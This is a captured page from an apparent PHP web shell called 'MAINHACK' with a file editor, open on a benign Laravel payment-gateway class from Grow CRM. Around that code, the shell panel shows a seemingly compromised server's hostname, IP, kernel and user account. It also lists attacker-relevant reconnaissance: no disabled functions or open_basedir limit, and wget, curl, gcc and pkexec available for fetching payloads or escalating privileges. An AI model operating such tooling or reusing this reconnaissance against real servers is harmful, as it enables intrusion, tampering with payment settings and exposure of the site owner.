[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: GatewayRepository.php
<?php /** -------------------------------------------------------------------------------- * This repository class manages all the data absctration for payment gateways * * @package Grow CRM * @author NextLoop *----------------------------------------------------------------------------------*/ namespace App\Repositories; use App\Models\Gateway; use Illuminate\Http\Request; use Log; class GatewayRepository { /** * The gateway repository instance. */ protected $gateways; /** * Inject dependecies */ public function __construct(Gateway $gateway) { $this->gateways = $gateway; } /** * update a gateway * @param int $id resource id * @return bool */ public function update($id = '') { //validate if (!is_numeric($id)) { Log::error("validation error - invalid params", ['process' => '[GatewayRepository]', config('app.debug_ref'), 'function' => __function__, 'file' => basename(__FILE__), 'line' => __line__, 'path' => __file__]); return false; } //get the record if (!$gateway = $this->gateways->find($id)) { Log::error("gateway could not be found", ['process' => '[GatewayRepository]', config('app.debug_ref'), 'function' => __function__, 'file' => basename(__FILE__), 'line' => __line__, 'path' => __file__]); return false; } //update $gateway->gateway_sandbox_mode = (request('gateway_sandbox_mode') == 'on') ? 'enabled' : 'disabled'; $gateway->gateway_status = (request('gateway_status') == 'on') ? 'enabled' : 'disabled'; //save if ($gateway->save()) { return true; } else { Log::error("unable to update record - database error", ['process' => '[GatewayRepository]', config('app.debug_ref'), 'function' => __function__, 'file' => basename(__FILE__), 'line' => __line__, 'path' => __file__]); return false; } } /** * check if Stripe gateway is configured correctly * @return mixed error message or true */ public function stripeGetProducts() { //check if we have settings for stripe in the database if (config('system.settings_stripe_secret_key') == '' || config('system.settings_stripe_public_key') == '' || config('system.settings_stripe_currency') == '') { return 'stripe-config-error'; } //check if we have settings for stripe in the database if (config('system.settings_stripe_status') != 'enabled') { return 'stripe-disabled-error'; } //test api connection (validate the key) try { $stripe = new \Stripe\StripeClient(config('system.settings_stripe_secret_key')); //make asimple request to check key is valide $stripe->webhookEndpoints->all(['limit' => 3]); } catch (\Stripe\Exception\AuthenticationException $e) { return __('lang.stripe_authentication_error'); } catch (\Stripe\Exception\ApiConnectionException $e) { return __('lang.stripe_network_error'); } catch (Exception $e) { return __('lang.stripe_generic_error'); } //all is ok return true; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.97 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002